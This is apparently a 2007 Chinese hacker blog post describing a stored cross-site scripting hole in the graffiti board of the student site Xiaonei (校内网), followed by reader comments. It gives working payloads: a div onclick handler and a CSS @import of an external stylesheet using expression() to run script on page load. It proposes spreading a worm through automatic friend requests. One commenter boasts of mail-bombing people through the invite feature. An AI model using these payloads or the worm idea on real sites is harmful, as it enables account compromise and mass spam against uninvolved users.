« 浅谈Serv-U的密码机制编写自动提取、自动重定位的ShellCode »

“校内网”涂鸦板跨站脚本漏洞

校内网(http://xiaonei.com)是一个面向全国高校学生的网站,几乎全国每一个大学都有学生在上面注册,在高校中也是有些地位的。我第一次看到是在上个学期,当时看到有个同学在用HTML编辑他的涂鸦板,当时就想这个东西可能会有跨站脚本漏洞,只可惜当时没有去测试,直到昨天才想起去研究一下。发现今年二月份的时候已经有人在我之前成功把它拿下了,而且用了脚本蠕虫技术,使6万多用户受到感染,影响可谓深远。不过这之后校内网就加了脚本过滤机制,然而脚本过滤百密而一疏。

首先很高兴它没有过滤“<”和“>”有了这两个就有希望。没多想就输入“<img src="alert('test');"  “可惜被过滤,它会检验SRC中是不是一个URL,所以这一招不管用,再看onload也被过滤。再来看一下<div>标记,这个东西往往被人遗忘,输入“<div onclick="alert('test')">测试</div>” 提交成功,当单击“测试”时弹出对话框。虽然能执行,但还是要单击一下才行,要是能一打开网页就能执行就好了,然而因为它过滤了onload,不能用一般的脚本,不过不能用脚本我们还可以用CSS跨站。输入

<style type="text/css">@import url(http://www.langouster.com/test/test.css);</style>
<body class="showCSS">

其中http://www.langouster.com/test/test.css中的内容是

.showCSS{
event:expression(
onload = function()
{
alert('onload');
}
)

再次提交,成功,只要一打开一页面就弹出对话框,如图:

 

好了现在其它人只要一打开你的页面就会自动执行你的脚本了。你还可以使用更加复杂的功能,如在脚本中使用jQuery技术实现病毒的传播,由于在加其它人为好友时不要输认证码,所以你可以用jQuery技术不断的申请加其它人为好友,别人看到你想加他为好友总会看一下你的页面,这样他也就成了跨站的受害者。

在测试时发现提交涂鸦板的内容后要过一段时间“我的页面”的内容才能更新,大家在测试时注意一下,我在开始时因为这还郁闷了好一下。

声明:不法利用本文造成后果的作者(langosuter)概不负责!

  • quote 1.virvir
  • http://www.virvir.cn
  • 记得校内网的邀请功能可以对邮箱进行小规模的“轰炸”,嘿嘿,由于他限制了只能发100个邀请,所以每个注册用户只能发100封邀请信,不过,也算过了个小瘾吧~~~如果你够BT的话,注册N个帐户,炸一下哪个咪咪也好~~~
  • 2007-4-1 15:21:48 回复该留言
  • quote 2.一看就知道是高手
  • 你好,我最近刚接触校内网,对涂鸦版很感兴趣,想学学,请问一下涂鸦版上写的叫什么语言啊,我到图书馆都不知道借什么书,见笑啊,谢谢啊
    langouster 于 2007-04-10 13:20:43 回复
    你可以学学javascript和CSS,如果错不到这样的书也可以借本HTML的书看看。
  • 2007-4-10 13:20:43 回复该留言
  • quote 3.空心菜
  • 问一下,刚校内网又新加了一个。就是日志主题也加了背景。怎么写能让这个背景透明。不知道说的清楚不清楚。能回到信箱里么,谢了。
  • 2007-4-13 15:22:32 回复该留言
  • quote 4.langouster
  • 今日测试,发现“校内网”已经修补此漏洞,不过只要花功夫,肯定还会有新漏洞。
    由 langouster 于 2007-04-14 20:46:09 最后编辑
  • 2007-4-14 12:49:13 回复该留言

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

日历

最新评论及回复

最近发表

Powered By Z-Blog 2.0 bate Build Theme by toboku

Copyright langouster. Some Rights Reserved.   苏ICP备06046736号